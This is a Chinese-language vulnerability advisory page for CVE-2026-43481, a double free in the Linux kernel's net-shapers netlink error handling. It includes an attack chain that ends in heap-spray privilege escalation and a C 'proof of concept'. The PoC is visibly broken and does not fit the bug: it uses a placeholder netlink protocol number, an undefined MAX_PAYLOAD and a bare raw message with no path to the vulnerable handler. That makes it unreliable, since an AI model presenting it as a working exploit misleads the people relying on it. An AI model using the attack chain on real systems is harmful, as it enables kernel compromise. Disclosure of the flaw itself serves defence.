IPBUF安全漏洞报告
English
CVE-2026-43481 CVSS 7.8 高危

CVE-2026-43481 Linux内核 net-shapers双重释放漏洞

披露日期: 2026-05-13
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43481
漏洞类型
双重释放
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelDouble FreeLocal Privilege EscalationNetlinkDoSKernel Security

漏洞概述

Linux内核net-shapers组件存在一个双重释放漏洞。该漏洞源于`net_shaper_nl_get_doit`及`net_shaper_nl_cap_get_doit`函数的错误处理逻辑。当`genlmsg_reply()`返回失败时,代码错误地跳转至`free_msg`标签并调用`nlmsg_free()`释放skb。然而,`genlmsg_reply()`内部已将skb所有权移交给netlink,后者会处理释放。这导致同一skb被重复释放,可能引发内核崩溃或本地权限提升。

技术细节

该漏洞发生在Linux内核的netlink子系统中,涉及`net-shapers`模块的Netlink命令处理函数。正常情况下,`genlmsg_reply()`函数负责将消息发送给用户空间,它内部调用`netlink_unicast()`。在`netlink_unicast()`的所有返回路径中,无论是成功入队还是出错,该函数都会消耗(释放)传入的skb缓冲区。问题代码在`net_shaper_nl_get_doit`和`net_shaper_nl_cap_get_doit`中,当`genlmsg_reply()`返回错误码时,代码跳转到`free_msg`标签执行`nlmsg_free(msg)`。由于此时msg所指的内存已经被`netlink_unicast()`释放,再次释放会导致Double Free。攻击者可利用此内存破坏,通过本地低权限账户触发漏洞,构造特定数据覆盖内核对象,从而可能导致拒绝服务或潜在的本地提权。

攻击链分析

STEP 1
1. 本地执行
攻击者在目标系统上获得低权限用户访问权限。
STEP 2
2. 构造消息
攻击者编写或使用工具发送特制的Netlink消息,目标为net-shapers子系统。
STEP 3
3. 触发漏洞
内核处理消息时,`genlmsg_reply`函数调用失败(可能由于参数错误或资源限制),进入错误处理分支。
STEP 4
4. 双重释放
错误处理代码调用`nlmsg_free`释放skb,但该内存已被Netlink层释放,导致Double Free。
STEP 5
5. 内存破坏
内核堆内存被破坏,可能导致内核崩溃(DoS)或通过堆喷射技术实现本地权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> // Proof of Concept for CVE-2026-43481 // This code attempts to trigger the error path in net_shaper_nl_get_doit // by sending a malformed Netlink message to the kernel. #define NETLINK_SHAPER 31 // Placeholder for the actual family ID int main() { int sock_fd; struct sockaddr_nl src_addr, dest_addr; struct nlmsghdr *nlh = NULL; char *msg = "Trigger"; // Create Netlink socket sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SHAPER); if (sock_fd < 0) { perror("Socket creation failed"); return -1; } memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; src_addr.nl_pid = getpid(); bind(sock_fd, (struct sockaddr*)&src_addr, sizeof(src_addr)); memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.nl_family = AF_NETLINK; dest_addr.nl_pid = 0; // Kernel // Allocate message buffer nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(MAX_PAYLOAD)); memset(nlh, 0, NLMSG_SPACE(MAX_PAYLOAD)); nlh->nlmsg_len = NLMSG_SPACE(MAX_PAYLOAD); nlh->nlmsg_pid = getpid(); nlh->nlmsg_flags = 0; // Copy payload strcpy(NLMSG_DATA(nlh), msg); // Send message to kernel // Attempting to hit the genlmsg_reply failure path sendto(sock_fd, nlh, nlh->nlmsg_len, 0, (struct sockaddr*)&dest_addr, sizeof(dest_addr)); printf("PoC message sent to trigger CVE-2026-43481.\n"); close(sock_fd); free(nlh); return 0; }

影响范围

Linux Kernel(修复前版本)

防御指南

临时缓解措施
建议限制本地非特权用户的访问权限,或及时应用官方发布的内核补丁以修复此双重释放漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表